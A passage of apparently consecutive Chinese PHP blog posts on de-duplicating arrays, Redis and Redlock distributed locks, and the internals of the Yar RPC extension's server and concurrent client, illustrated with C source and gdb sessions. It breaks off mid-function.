知道了问题原因,解决的方法就很简单了:在调用 array_unique() 函数之后,再调用一次 array_values() 函数,将数组中的元素依次取出来保存到新数组中,这样新数组的下标就是连续的了。
$arr = ['aaa', 'bbb', 'aaa', 'ccc'];
$unique_arr = array_unique($arr);
print_r($arr);
print_r(array_values($unique_arr));
// Array
// (
// [0] => aaa
// [1] => bbb
// [2] => aaa
// [3] => ccc
// )
// Array
// (
// [0] => aaa
// [1] => bbb
// [2] => ccc
// )
不知不觉中,这篇文章在我的草稿箱已经躺了半年多了。
起初写这篇文章是准备做一次技术分享,后来因为一些原因将分享的主题换成了什么是惊群问题 ,这篇文章也就一直在草稿箱躺到了现在。
在博客鸽了几个月之后的今天,我又想起来了草稿箱的它…,对一些细节进行修改后,让它从草稿箱走了出来。
在介绍 Redlock 前,我们先来看看在项目中是怎么使用 Redis 实现锁的。
我们平时使用的 Redis 锁大部分都是单实例的,只有一个 Redis 实例。
为什么叫它分布式锁?因为这里的分布式是指分布式的应用,即多个调用方,而不是说锁本身。
Redis 加锁的操作非常简单,只需要使用 SET 命令并带上相关的选项即可。
SET key value NX EX 60
NX 选项的作用是,当有多个客户端同时申请对一个资源进行加锁时候,保证了只会有一个客户端能够加锁成功,其它客户端在锁被释放前都无法获得锁。
EX 选项主要是为了防止出现死锁问题,使用 EX 选项对锁设定了有效时间,当客户端持有锁的时间超过有效时间后,锁会自动被释放(过期)。
避免某个客户端获得锁后突然挂掉或其它原因一直持有锁,导致其它客户端永远无法获得锁。
最后,业务逻辑处理完之后,直接使用 DEL 命令删除指定的 key,就完成了释放锁的操作。
假设客户端 A 获得锁后开始处理业务,这时候客户端 B 也想要获得锁,但是发现锁已经被客户端 A 占有了。然后为了让自己获得锁,不管三七二十一就使用 DEL 命令把锁给释放了。
导致客户端 A 的正在执行的业务逻辑处于不安全的状态,因为创建的锁被别的客户端释放了。
怎么能避免这个问题呢?
我们可以在 SET 命令中将 value 设置成一个随机字符串,作为持有这个锁的令牌(token)。
客户端在释放锁的时候,需要传入自己的令牌,只有令牌与 value 匹配时才能删除 key,这样就保证了锁只能由持有锁的人才能释放。
示例代码:
function releaseLock($lockKey, $token): bool
{
if (Redis::get($lockKey) == $token) {
Redis::del($lockKey);
return true;
}
return false;
}
releaseLock('order-lock:订单号', '随机值');
可以看到,上面的代码中需要分别执行 GET 和 DEL 命令,两个命令执行的过程中可能会有其它命令被执行,导致我们释放锁的操作是非原子性的,同时也耗费了两次网络请求。
非原子性操作会产生什么问题呢?
最后导致客户端 B 的锁被客户端 A 释放了。
对于这个问题,我们可以使用 Lua 脚本,让 Redis 来执行释放锁的逻辑,这样 Redis 在执行释放锁的逻辑时就不会被打断,同时减少了一次网络请求。
function releaseLock($lockKey, $token): bool
{
$luaScript = <<<LUA
if redis.call("get",KEYS[1]) == ARGV[1]
then
return redis.call("del",KEYS[1])
else
return 0
end
LUA;
return (bool) Redis::eval($luaScript, [$lockKey, $token], 1);
}
Lua 脚本的逻辑与我们上面的 PHP 版是一样的,区别是验证令牌及释放锁的逻辑是由 Redis 执行的,在执行的时候不会被其它命令(信号)所打断,也就保证了释放锁操作的原子性。
上面说的这些都是以 Redis 服务正常为前提,如果 Redis 服务宕机,就会导致加不了锁,后续的业务逻辑也就无法正常的运行。
虽然可以使用 Redis 的集群提升 Redis 服务的可用性,但是在一些情况下还是会导致我们的锁失去作用。

进程 A 发送 SET 命令对 order1 进行加锁操作后,Master 实例宕机了,但是数据还没来得及同步给 Slave 实例,所以 Slave 也就没有这条数据。进行主从切换后,Slave 升级为 Master 提供服务,然后进程 B 对 order1 也能够加锁成功,这时候就有两个进程同时对同一个资源进行操作,所以锁也就失去了作用。
Redlock(Redis lock)是 Redis 作者设计的一种分布式锁,Redlock 直译过来就是红锁。
Redlock 需要部署 N (N >= 2n+1)个独立的 Redis 实例,且实例之间没有任何的联系。也就是说,只要一半以上的 Redis 实例加锁成功,那么 Redlock 依然可以正常运行。
使用独立实例是为了避免 Redis 异步复制导致锁丢失。
假设我们有 5 个 Redis 实例,当我们对 order1 这个订单加锁时,先记录当前时间用于统计加锁过程花费的时间,然后依次让 5 个 Redis 实例执行 SET order1 token NX EX 60 命令,最后统计加锁成功的实例数量以及加锁过程耗费的时间。

当加锁成功的实例数量超过半数(>= 3)并且加锁耗费的时间小于锁的有效时间,我们就认为加锁成功了。
为什么需要计算加锁过程耗费的时间呢?
因为当某些 Redis 实例由于网络延迟或其它原因,导致执行 SET 命令花费的时间比较久,这些 Redis 实例执行命令的时间加起来甚至超过了锁的有效时间。
比如锁的有效时间是 4 秒,但是 5 个 Redis 实例执行命令一共花费了 5 秒,对于这种情况,即使加锁成功的实例数量超过了半数,也是算作是加锁失败的。
所以 Redlock 加锁失败有两种情况:
无论是加锁成功还是加锁失败后都需要去释放锁,及时让出相关资源给其它调用者。
解锁的过程实际上就是让 5 个 Redis 实例依次执行 DEL 命令删除加锁时的 key,为了确保只释放自己的锁,需要用前面提到的 Lua 脚本来代替直接使用 DEL 命令进行解锁操作。

在本文中,先介绍了单实例 Redis 锁的一些问题以及解决方法,然后又介绍了基于多实例的 Redlock 分布式锁的实现,Redlock 在解决了单实例以及集群可能会出现的一些问题。
但是 Redlock 本身还是存在一些问题,比如:
所以在业务选型的过程中,我们需要结合实际业务情况使用合适的分布式锁组件。
如果你想要更深入的了解 Redlock 或上面提到的问题,推荐你阅读下面这些资料:
]]>在前面的文章中介绍了 Yar 客户端以及相关模块的实现,弄清楚了客户端的远程调用是如何发送出去的、发送的内容是什么、以及如何处理响应结果。
今天我们就来看看 Yar 服务端是如何处理客户端请求的。
在开篇的服务端示例中可以看到,Yar_Server 有两个方法:构造函数和 handle 方法。
下面是 Yar_Server 的方法和属性的定义。
// source:yar_server.c
zend_function_entry yar_server_methods[] = {
PHP_ME(yar_server, __construct, arginfo_service___construct, ZEND_ACC_PUBLIC|ZEND_ACC_CTOR|ZEND_ACC_FINAL)
PHP_ME(yar_server, handle, arginfo_service_void, ZEND_ACC_PUBLIC)
PHP_FE_END
};
YAR_STARTUP_FUNCTION(service) {
zend_class_entry ce;
INIT_CLASS_ENTRY(ce, "Yar_Server", yar_server_methods);
yar_server_ce = zend_register_internal_class(&ce);
zend_declare_property_null(yar_server_ce, ZEND_STRL("_executor"), ZEND_ACC_PROTECTED);
return SUCCESS;
}
下面来看看这两个方法的实现。
构造函数的作用是将需要对外提供服务的对象保存到 Yar_Server 的 _executor 中。处理客户端的请求时,就会执行该对象中被调用的方法。
// source:yar_server.c
PHP_METHOD(yar_server, __construct) {
zval *obj;
if (zend_parse_parameters_throw(ZEND_NUM_ARGS(), "o", &obj) == FAILURE) {
return;
}
// 保存对象到 _executor 中
zend_update_property(yar_server_ce, getThis(), "_executor", sizeof("_executor")-1, obj);
}
在 handle 方法中,通过判断请求方式执行不同的逻辑。
// source:yar_server.c
PHP_METHOD(yar_server, handle)
{
// ...
const char *method;
zval *executor, rv;
// 获取被调用的对象
executor = zend_read_property(yar_server_ce, getThis(), ZEND_STRL("_executor"), 0, &rv);
if (IS_OBJECT != Z_TYPE_P(executor)) {
php_error_docref(NULL, E_WARNING, "executor is not a valid object");
RETURN_FALSE;
}
// 判断请求方式,非 POST 请求则输出 API 信息
method = SG(request_info).request_method;
if (!method || strncasecmp(method, "POST", 4)) {
// 检查是否开启了 expose_info
if (YAR_G(expose_info)) {
php_yar_server_info(executor);
RETURN_TRUE;
} else {
zend_throw_exception(yar_server_exception_ce, "server info is not allowed to access", YAR_ERR_FORBIDDEN);
return;
}
}
// 处理客户端的远程调用
php_yar_server_handle(executor);
RETURN_TRUE;
}
php_yar_server_info 函数的作用是输出 API 信息页面的 HTML 及被调用对象中所有 public 方法的信息。
// source:yar_server.c
static void php_yar_server_info(zval *obj) {
char buf[1024];
zend_class_entry *ce = Z_OBJCE_P(obj);
// 输出 header 部分
snprintf(buf, sizeof(buf), HTML_MARKUP_HEADER, ZSTR_VAL(ce->name));
PHPWRITE(buf, strlen(buf));
// 输出 css 和 javascript 部分
PHPWRITE(HTML_MARKUP_CSS, sizeof(HTML_MARKUP_CSS) - 1);
PHPWRITE(HTML_MARKUP_SCRIPT, sizeof(HTML_MARKUP_SCRIPT) - 1);
// 输出网页标题
snprintf(buf, sizeof(buf), HTML_MARKUP_TITLE, ZSTR_VAL(ce->name));
PHPWRITE(buf, strlen(buf));
// 读取并输出被调用对象的方法列表
zend_hash_apply_with_argument(&ce->function_table, (apply_func_arg_t)php_yar_print_info, (void *)(ce));
// 输出 footer 部分
PHPWRITE(HTML_MARKUP_FOOTER, sizeof(HTML_MARKUP_FOOTER) - 1);
}
static int php_yar_print_info(zval *ptr, void *argument) /* {{{ */ {
zend_function *f = Z_FUNC_P(ptr);
// 判断是否为 public 方法
if (f->common.fn_flags & ZEND_ACC_PUBLIC
&& f->common.function_name && *(ZSTR_VAL(f->common.function_name)) != '_') {
char *prototype = NULL;
// 获取函数原型
if ((prototype = php_yar_get_function_declaration(f))) {
char *buf, *doc_comment = NULL;
if (f->type == ZEND_USER_FUNCTION) {
if (f->op_array.doc_comment != NULL) {
// 读取函数的 doc 注释
doc_comment = (char *)ZSTR_VAL(f->op_array.doc_comment);
}
}
// 输出函数原型及注释
spprintf(&buf, 0, HTML_MARKUP_ENTRY, prototype, doc_comment? doc_comment : "");
efree(prototype);
PHPWRITE(buf, strlen(buf));
efree(buf);
}
}
return ZEND_HASH_APPLY_KEEP;
}
下面继续看看 php_yar_server_handle 函数,该函数的主要逻辑如下:
// source:yar_server.c
static void php_yar_server_handle(zval *obj) /* {{{ */ {
// ...
// 读取 HTTP 请求 body 中的内容
while (!php_stream_eof(s)) {
len += php_stream_read(s, buf + len, sizeof(buf) - len);
if (len == sizeof(buf) || raw_data.s) {
smart_str_appendl(&raw_data, buf, len);
len = 0;
}
}
// 获取 body 中的内容及长度
if (len) {
payload = buf;
payload_len = len;
} else if (raw_data.s) {
smart_str_0(&raw_data);
payload = ZSTR_VAL(raw_data.s);
payload_len = ZSTR_LEN(raw_data.s);
} else {
php_yar_error(response, YAR_ERR_PACKAGER, "empty request body");
DEBUG_S("0: empty request '%s'");
goto response_no_output;
}
// 解析 body 中的内容
if (!(header = php_yar_protocol_parse(payload))) {
php_yar_error(response, YAR_ERR_PACKAGER, "malformed request header '%.10s'", payload);
DEBUG_S("0: malformed request '%s'", payload);
goto response_no_output;
}
// 跳过 Yar 协议的头部信息
payload += sizeof(yar_header_t);
payload_len -= sizeof(yar_header_t);
// 解码 payload 部分
if (!(post_data = php_yar_packager_unpack(payload, payload_len, &err_msg, &ret))) {
php_yar_error(response, YAR_ERR_PACKAGER, err_msg);
efree(err_msg);
goto response_no_output;
}
pkg_name = payload;
// 解析请求数据
request = php_yar_request_unpack(post_data);
if (php_output_start_user(NULL, 0, PHP_OUTPUT_HANDLER_STDFLAGS) == FAILURE) {
php_yar_error(response, YAR_ERR_OUTPUT, "start output buffer failed");
goto response_no_output;
}
// 检查被调用方法是否存在
if (!zend_hash_exists(&ce->function_table, method)) {
zend_string_release(method);
php_yar_error(response, YAR_ERR_REQUEST, "call to undefined api %s::%s()", ce->name, ZSTR_VAL(request->method));
goto response;
}
zend_try {
// 初始化被调用方法的参数
func_params_ht = Z_ARRVAL(request->parameters);
count = zend_hash_num_elements(func_params_ht);
if (count) {
int i = 0;
func_params = safe_emalloc(sizeof(zval), count, 0);
ZEND_HASH_FOREACH_VAL(func_params_ht, tmp_zval) {
ZVAL_COPY(&func_params[i++], tmp_zval);
} ZEND_HASH_FOREACH_END();
} else {
func_params = NULL;
}
ZVAL_STR(&func, request->method);
// 执行被调用的方法
if (FAILURE == call_user_function(NULL, obj, &func, &retval, count, func_params)) {
if (count) {
int i = 0;
for (; i < count; i++) {
zval_ptr_dtor(&func_params[i]);
}
efree(func_params);
}
php_yar_error(response, YAR_ERR_REQUEST, "call to api %s::%s() failed", ce->name, request->method);
goto response;
}
// 释放参数
if (count) {
int i = 0;
for (; i < count; i++) {
zval_ptr_dtor(&func_params[i]);
}
efree(func_params);
}
} zend_catch {
bailout = 1;
} zend_end_try();
// 如果发生异常则响应异常信息
if (EG(exception)) {
zend_object *exception = EG(exception);
php_yar_response_set_exception(response, exception);
EG(exception) = NULL; /* exception may have __destruct will be called */
OBJ_RELEASE(exception);
zend_clear_exception();
}
// 正常响应
response:
// 获取输出到缓冲区的内容
if (php_output_get_contents(&output) == FAILURE) {
php_output_end();
php_yar_error(response, YAR_ERR_OUTPUT, "unable to get ob content");
goto response_no_output;
}
// 将缓冲区的内容保存到 response 的 out 中
php_yar_response_alter_body(response, Z_STR(output), YAR_RESPONSE_REPLACE);
// 无输出响应
response_no_output:
// 组装并输出响应内容
php_yar_server_response(request, response, pkg_name);
if (request) {
// 释放请求对象
php_yar_request_destroy(request);
}
// 释放响应对象
php_yar_response_destroy(response);
if (bailout) {
zend_bailout();
}
return;
}
在这篇文章中,介绍了 Yar 服务端是如何处理客户端请求的,主要是三个步骤:解析请求数据、执行被调用方法、返回响应结果。结合之前的文章就可以知道在一次远程调用的过程中,客户端、服务端都分别做了些什么。
]]>在上一篇文章中,介绍了客户端同步调用的具体实现的,主要还是通过调用传输模块的相关函数,完成发送和接收远程调用的数据。
在调用多个远程方法时,同步调用是以串行的方式执行的,导致运行效率比较低,所以需要使用并行调用来提高调用多个远程方法的运行效率,减少整体运行的时间。
在数据传输模块中,我们提到了 yar_transport_multi_t *multi 就是用来实现并行调用的,先来看看该结构体的定义。
// source:yar_transport.h
// 并行传输器的工厂
typedef struct _yar_transport_multi {
struct _yar_transport_multi_interface * (*init)();
} yar_transport_multi_t;
可以将 yar_transport_multi_t 看作是并行传输器的工厂,使用 init 函数创建并行传输器的实例,也就是为 _yar_transport_multi_interface 结构体分配内存,并初始化相关配置。
// source:yar_transport.h
// 并行传输器
typedef struct _yar_transport_multi_interface {
void *data;
int (*add)(struct _yar_transport_multi_interface *self, yar_transport_interface_t *cp);
int (*exec)(struct _yar_transport_multi_interface *self, yar_concurrent_client_callback *callback);
void (*close)(struct _yar_transport_multi_interface *self);
} yar_transport_multi_interface_t;
其实 yar_transport_multi_interface_t 结构体和 yar_transport_interface_t 结构体类似,都是用来定义在传输时使用的函数,下面是字段说明:
从上面的说明可以看出来,并行传输器实际上是在管理多个同步传输器实例,先调用 add 函数将同步传输器实例存储到并行传输器中,然后通过 exec 函数将这些同步传输器实例中的数据发送出去,并对响应结果进行处理,最后调用 close 函数清理相关资源。
虽然 yar_curl_multi_data_t 结构体的字段比较少,但是通过这个结构体,可以知道并行传输器是如何存储同步传输器实例的数据的。
// source:transports/curl.c
typedef struct _yar_curl_multi_data_t {
CURLM *cm;
yar_transport_interface_t *chs;
} yar_curl_multi_data_t;
cm 字段用来存储 curl 批处理实例的指针,chs 则是同步传输器的指针,同步传输器中 data 字段指向的结构体中有一个 next 字段,用来指向下一个同步传输器:
// source:transports/curl.c
typedef struct _yar_curl_data_t {
// ...
yar_transport_interface_t *next;
} yar_curl_data_t;
看到这里你应该就明白了,Yar 通过单链表的结构将所有的同步传输器实例串起来, yar_curl_multi_data_t 中的 chs 字段相当于头指针。

先来看看并行客户端的方法列表及属性。
// source:yar_client.c
// 方法列表
zend_function_entry yar_concurrent_client_methods[] = {
PHP_ME(yar_concurrent_client, call, arginfo_client_async, ZEND_ACC_PUBLIC|ZEND_ACC_STATIC)
PHP_ME(yar_concurrent_client, loop, arginfo_client_loop, ZEND_ACC_PUBLIC|ZEND_ACC_STATIC)
PHP_ME(yar_concurrent_client, reset,arginfo_client_void, ZEND_ACC_PUBLIC|ZEND_ACC_STATIC)
PHP_FE_END
};
INIT_CLASS_ENTRY(ce, "Yar_Concurrent_Client", yar_concurrent_client_methods);
yar_concurrent_client_ce = zend_register_internal_class(&ce);
// 声明并行客户端的属性
zend_declare_property_null(yar_concurrent_client_ce, ZEND_STRL("_callstack"), ZEND_ACC_PROTECTED|ZEND_ACC_STATIC);
zend_declare_property_null(yar_concurrent_client_ce, ZEND_STRL("_callback"), ZEND_ACC_PROTECTED|ZEND_ACC_STATIC);
zend_declare_property_null(yar_concurrent_client_ce, ZEND_STRL("_error_callback"), ZEND_ACC_PROTECTED|ZEND_ACC_STATIC);
zend_declare_property_bool(yar_concurrent_client_ce, ZEND_STRL("_start"), 0, ZEND_ACC_PROTECTED|ZEND_ACC_STATIC);
由此我们可以知道并行客户端大概长这样:
class {
protected static $_callstack = null; // 存储每个调用的数据
protected static $_callback = null; // 并行客户端的回调函数
protected static $_error_callback = null; // 并行客户端的异常回调函数
protected static $_start = false; // 是否已启动
// 调用某个方法
public static function call($uri, $method, $parameters = null, $callback = null, $error_callback = null, $options = array())
{
}
// 执行调用并等待响应
public static function loop($callback = null, $error_callback = null)
{
}
// 重置并行客户端
public static function reset()
{
}
}
Yar 定义了 yar_call_data_t 结构体将 call 方法的参数存起来,当作远程调用的数据。
// source:yar_transport.h
typedef struct _yar_call_data {
zend_long sequence;
zend_string *uri;
zend_string *method;
zval callback;
zval ecallback;
zval parameters;
zval options;
} yar_call_data_t;
在 PHP 中使用该结构体前,需要在 Yar 启动时向 PHP 注册该资源类型,同时传入析构函数,用于 PHP 释放该资源的时候调用。
YAR_STARTUP_FUNCTION(transport) {
// ...
le_calldata = zend_register_list_destructors_ex(php_yar_calldata_dtor, NULL, "Yar Call Data", module_number);
return SUCCESS;
}
zend_register_list_destructors_ex 函数会返回一个整数,表示注册的资源类型,在取回资源时需要用到该整数。
这次我们使用 gdb 调试的方式,一步步的展示并行调用的过程,在此之前需要编译好 Yar,编译时记得关闭编译优化,并在 php.ini 中配置好扩展,然后启动开篇中的 Yar 服务端示例。
在客户端的并行调用示例中,先调用了 call 方法,然后调用了 loop 方法,所以我们分别在这两个方法的上打断点。通过上面并行客户端的介绍可以知道,实现 call 方法的函数是 zim_yar_concurrent_client_call,我们在该函数上打断点即可。
$ gdb php
(gdb) b zim_yar_concurrent_client_call
Function "zim_yar_concurrent_client_call" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 1 (zim_yar_concurrent_client_call) pending.
(gdb)
开始运行 PHP 并指定运行的 PHP 脚本。
(gdb) r concurrent_client.php
Starting program: /usr/bin/php concurrent_client.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, zim_yar_concurrent_client_call (
execute_data=0x5555557de9ee <zend_restore_lexical_state+222>,
return_value=0x555555a2b240 <language_scanner_globals>)
at /home/vagrant/code/her-cat/yar/yar_client.c:645
645 PHP_METHOD(yar_concurrent_client, call) {
(gdb)
zim_yar_concurrent_client_call 函数作用是将 call 方法的参数组装为 yar_call_data_t 结构体,并存储到并行客户端的 _callstack 数组中,然后返回本次调用的序号。
// source:yar_client.c
PHP_METHOD(yar_concurrent_client, call) {
zend_string *uri, *method;
zend_string *name = NULL;
zval *callstack, item, *status;
zval *error_callback = NULL, *callback = NULL, *parameters = NULL, *options = NULL;
yar_call_data_t *entry;
// 解析 call 方法中的参数
if (zend_parse_parameters(ZEND_NUM_ARGS(), "SS|a!z!za",
&uri, &method, ¶meters, &callback, &error_callback, &options) == FAILURE) {
return;
}
// 省略一些对参数校验的代码...
// 校验并行客户端的状态
status = zend_read_static_property(yar_concurrent_client_ce, ZEND_STRL("_start"), 0);
if (UNEXPECTED(Z_TYPE_P(status) == IS_TRUE)) {
php_error_docref(NULL, E_WARNING, "concurrent client has already started");
RETURN_FALSE;
}
// 分配调用数据的内存
entry = ecalloc(1, sizeof(yar_call_data_t));
// 将参数赋值到调用数据上
entry->uri = zend_string_copy(uri);
entry->method = zend_string_copy(method);
if (callback && !Z_ISNULL_P(callback)) {
ZVAL_COPY(&entry->callback, callback);
}
if (error_callback && !Z_ISNULL_P(error_callback)) {
ZVAL_COPY(&entry->ecallback, error_callback);
}
if (parameters && IS_ARRAY == Z_TYPE_P(parameters)) {
ZVAL_COPY(&entry->parameters, parameters);
}
if (options && IS_ARRAY == Z_TYPE_P(options)) {
ZVAL_COPY(&entry->options, options);
}
// 初始化调用栈数组
callstack = zend_read_static_property(yar_concurrent_client_ce, ZEND_STRL("_callstack"), 0);
if (Z_ISNULL_P(callstack)) {
zval rv;
array_init(&rv);
zend_update_static_property(yar_concurrent_client_ce, ZEND_STRL("_callstack"), &rv);
ZVAL_ARR(callstack, Z_ARRVAL(rv));
Z_DELREF(rv);
}
// 将调用数据注册到 zend 中,并返回 zend_resouce 类型的数据
ZVAL_RES(&item, zend_register_resource(entry, le_calldata));
// 设置调用数据的序号
entry->sequence = zend_hash_num_elements(Z_ARRVAL_P(callstack)) + 1;
// 将 zend_resource 类型的调用数据存储到 callstack 中
zend_hash_next_index_insert(Z_ARRVAL_P(callstack), &item);
RETURN_LONG(entry->sequence);
}
让代码执行到最后一行,并打印 entry 中的数据。
(gdb) u 733
zim_yar_concurrent_client_call (execute_data=0x7ffff54130d0,
return_value=0x7fffffffaa80)
at /home/vagrant/code/her-cat/yar/yar_client.c:733
733 RETURN_LONG(entry->sequence);
(gdb) p *entry->uri.val@32
$5 = "http://127.0.0.1:3000/server.php"
(gdb) p *entry->method.val@5
$6 = "login"
(gdb) p entry->sequence
$7 = 1
先在 loop 方法上打断点,然后让代码执行到断点处。
(gdb) b zim_yar_concurrent_client_loop
Breakpoint 2 at 0x7ffff56e97f7: file /home/vagrant/code/her-cat/yar/yar_client.c, line 751.
(gdb) c
Continuing.
Breakpoint 1, zim_yar_concurrent_client_call (execute_data=0x7ffff54130d0, return_value=0x7fffffffaa80)
at /home/vagrant/code/her-cat/yar/yar_client.c:645
645 PHP_METHOD(yar_concurrent_client, call) {
(gdb)
在 zim_yar_concurrent_client_loop 函数中,先校验 loop 方法的参数及并行客户端的运行状态,然后从并行客户端中读取 _callstack 数组,调用 php_yar_concurrent_client_handle 函数。
// source:yar_client.c
PHP_METHOD(yar_concurrent_client, loop) {
zend_string *name = NULL;
zval *callstack;
zval *callback = NULL, *error_callback = NULL;
zval *status;
unsigned ret = 0;
// 解析参数
if (zend_parse_parameters(ZEND_NUM_ARGS(), "|zz", &callback, &error_callback) == FAILURE) {
return;
}
// 判断运行状态
status = zend_read_static_property(yar_concurrent_client_ce, ZEND_STRL("_start"), 0);
if (UNEXPECTED(Z_TYPE_P(status) == IS_TRUE)) {
php_error_docref(NULL, E_WARNING, "concurrent client has already started");
RETURN_FALSE;
}
// 省略一些对参数校验的代码...
// 读取所有的调用数据
callstack = zend_read_static_property(yar_concurrent_client_ce, ZEND_STRL("_callstack"), 0);
if (Z_ISNULL_P(callstack) || zend_hash_num_elements(Z_ARRVAL_P(callstack)) == 0) {
RETURN_TRUE;
}
// 更新为运行中的状态
ZVAL_BOOL(status, 1);
ret = php_yar_concurrent_client_handle(callstack);
ZVAL_BOOL(status, 0);
RETURN_BOOL(ret);
}
让代码执行到调用 php_yar_concurrent_client_handle 的前一行,然后进入函数内部。
(gdb) u 801
zim_yar_concurrent_client_loop (execute_data=0x7ffff54130d0, return_value=0x7fffffffaa80)
at /home/vagrant/code/her-cat/yar/yar_client.c:801
801 ZVAL_BOOL(status, 1);
(gdb) s
802 ret = php_yar_concurrent_client_handle(callstack);
(gdb) s
php_yar_concurrent_client_handle (callstack=0x0) at /home/vagrant/code/her-cat/yar/yar_client.c:456
456 int php_yar_concurrent_client_handle(zval *callstack) /* {{{ */ {
(gdb)
php_yar_concurrent_client_handle 函数的主要逻辑:
// source:yar_client.c
int php_yar_concurrent_client_handle(zval *callstack) /* {{{ */ {
char *msg;
zval *calldata;
yar_request_t *request;
const yar_transport_t *factory;
yar_transport_interface_t *transport;
yar_transport_multi_interface_t *multi;
// 获取 curl 传输器工厂实例
factory = php_yar_transport_get(ZEND_STRL("curl"));
// 创建并行传输器实例
multi = factory->multi->init();
// 遍历 callstack 数组
ZEND_HASH_FOREACH_VAL(Z_ARRVAL_P(callstack), calldata) {
yar_call_data_t *entry;
long flags = 0;
entry = (yar_call_data_t *)zend_fetch_resource(Z_RES_P(calldata), "Yar Call Data", le_calldata);
if (!entry) {
continue;
}
if (Z_ISUNDEF(entry->parameters)) {
array_init(&entry->parameters);
}
// 为每一个调用数据创建同步传输器
transport = factory->init();
if (!Z_ISUNDEF(entry->options)) {
zval *flag = php_yar_client_get_opt(&entry->options, YAR_OPT_PERSISTENT);
if (flag && (Z_TYPE_P(flag) == IS_TRUE || (Z_TYPE_P(flag) == IS_LONG && Z_LVAL_P(flag)))) {
flags |= YAR_PROTOCOL_PERSISTENT;
}
}
// 创建调用请求
if (!(request = php_yar_request_instance(entry->method,
&entry->parameters, Z_ISUNDEF(entry->options)? NULL: & entry->options))) {
transport->close(transport);
factory->destroy(transport);
return 0;
}
// 创建一个连接
msg = (char*)&entry->options;
if (!transport->open(transport, entry->uri, flags, &msg)) {
php_yar_client_trigger_error(1, YAR_ERR_TRANSPORT, msg);
transport->close(transport);
factory->destroy(transport);
efree(msg);
return 0;
}
// 对请求数据进行编码、组装等操作,并将处理后的数据保存到连接中
if (!transport->send(transport, request, &msg)) {
php_yar_client_trigger_error(1, YAR_ERR_TRANSPORT, msg);
transport->close(transport);
factory->destroy(transport);
efree(msg);
return 0;
}
// 将调用数据保存到同步传输器中
transport->calldata(transport, entry);
// 将同步传输器存储到并行调用器中。
multi->add(multi, transport);
// 释放请求
php_yar_request_destroy(request);
} ZEND_HASH_FOREACH_END();
// 执行所有请求
if (!multi->exec(multi, php_yar_concurrent_client_callback)) {
multi->close(multi);
return 0;
}
// 释放资源
multi->close(multi);
return 1;
}
我们看下并行传输器中函数指针对应的函数。
(gdb) p *multi
$10 = {data = 0x7ffff5461050, add = 0x7ffff56eea4e <php_yar_curl_multi_add_handle>,
exec = 0x7ffff56ef1e4 <php_yar_curl_multi_exec>, close = 0x7ffff56ef6af <php_yar_curl_multi_close>}
可以看到 add、exec、close 分别对应 php_yar_curl_multi_add_handle、php_yar_curl_multi_exec、php_yar_curl_multi_close 等函数,分别在这些函数上打断点,然后继续运行程序。
(gdb) b php_yar_curl_multi_add_handle
Breakpoint 3 at 0x7ffff56eea4e: file /home/vagrant/code/her-cat/yar/transports/curl.c, line 604.
(gdb) b php_yar_curl_multi_exec
Breakpoint 4 at 0x7ffff56ef1e4: file /home/vagrant/code/her-cat/yar/transports/curl.c, line 748.
(gdb) b php_yar_curl_multi_close
Breakpoint 5 at 0x7ffff56ef6af: file /home/vagrant/code/her-cat/yar/transports/curl.c, line 951.
(gdb) c
Continuing.
Breakpoint 3, php_yar_curl_multi_add_handle (self=0x7ffff5402428, handle=0x7ffff548e060)
at /home/vagrant/code/her-cat/yar/transports/curl.c:604
warning: Source file is more recent than executable.
604 int php_yar_curl_multi_add_handle(yar_transport_multi_interface_t *self, yar_transport_interface_t *handle) /* {{{ */ {
(gdb)
php_yar_curl_multi_add_handle 函数的作用:将同步传输器实例以头插法保存到 chs 单链表中。
// source:transports/curl.c
int php_yar_curl_multi_add_handle(yar_transport_multi_interface_t *self, yar_transport_interface_t *handle) {
yar_curl_multi_data_t *multi = (yar_curl_multi_data_t *)self->data;
yar_curl_data_t *data = (yar_curl_data_t *)handle->data;
// 预处理,将传输数据保存到 curl 中
php_yar_curl_prepare(handle);
// 将同步传输器的 curl 实例添加到 curl 批处理实例中
curl_multi_add_handle(multi->cm, data->cp);
// 头插法保存
if (multi->chs) {
data->next = multi->chs;
multi->chs = handle;
} else {
multi->chs = handle;
}
return 1;
}
php_yar_curl_multi_exec 函数的作用:通过 epoll 或 select 多路复用机制监控文件描述符的状态,并配合 curl_multi_* 系列函数对请求进行处理。
以下是主要逻辑:
// source:transports/curl.c
int php_yar_curl_multi_exec(yar_transport_multi_interface_t *self, yar_concurrent_client_callback *f) /* {{{ */ {
int running_count, rest_count;
yar_curl_multi_data_t *multi = (yar_curl_multi_data_t *)self->data;
// 尝试让 libcurl 处理数据,并获取当前正在运行中的数量
while (CURLM_CALL_MULTI_PERFORM == curl_multi_perform(multi->cm, &running_count));
// 第一次调用回调函数,让调用方执行自己的逻辑。
if (!f(NULL, YAR_ERR_OKEY, NULL)) {
goto bailout;
}
if (running_count) {
rest_count = running_count;
do {
int max_fd, return_code;
struct timeval tv;
fd_set readfds;
fd_set writefds;
fd_set exceptfds;
FD_ZERO(&readfds);
FD_ZERO(&writefds);
FD_ZERO(&exceptfds);
// 从 curl 批处理实例中取出所有请求的文件描述符
curl_multi_fdset(multi->cm, &readfds, &writefds, &exceptfds, &max_fd);
if (max_fd == -1) {
// max_fd 为 -1 说明 libcurl 正在处理一些不能使用套接字监控的事情,
// 所以需要等待一会再调用 curl_multi_perform
long timeout;
curl_multi_timeout(multi->cm, &timeout);
if (timeout < 0) {
timeout = 50;
}
if (timeout) {
tv.tv_sec = timeout / 1000;
tv.tv_usec = (timeout % 1000) * 1000;
select(1, &readfds, &writefds, &exceptfds, &tv);
}
// 让 libcurl 处理数据
while (CURLM_CALL_MULTI_PERFORM == curl_multi_perform(multi->cm, &running_count));
goto process;
}
// 计算 select 超时时间
tv.tv_sec = (zend_ulong)(YAR_G(timeout) / 1000);
tv.tv_usec = (zend_ulong)((YAR_G(timeout) % 1000)? (YAR_G(timeout) % 1000) * 1000 : 0);
// 等待请求返回数据
return_code = select(max_fd + 1, &readfds, &writefds, &exceptfds, &tv);
if (return_code > 0) {
// 说明某些文件描述符可读/可写,让 libcurl 进行处理
while (CURLM_CALL_MULTI_PERFORM == curl_multi_perform(multi->cm, &running_count));
} else if (-1 == return_code) {
// 发生异常
php_error_docref(NULL, E_WARNING, "select error '%s'", strerror(errno));
goto onerror;
} else {
// 等待超时
php_error_docref(NULL, E_WARNING, "select timeout %ldms reached", YAR_G(timeout));
goto onerror;
}
process:
if (rest_count > running_count) {
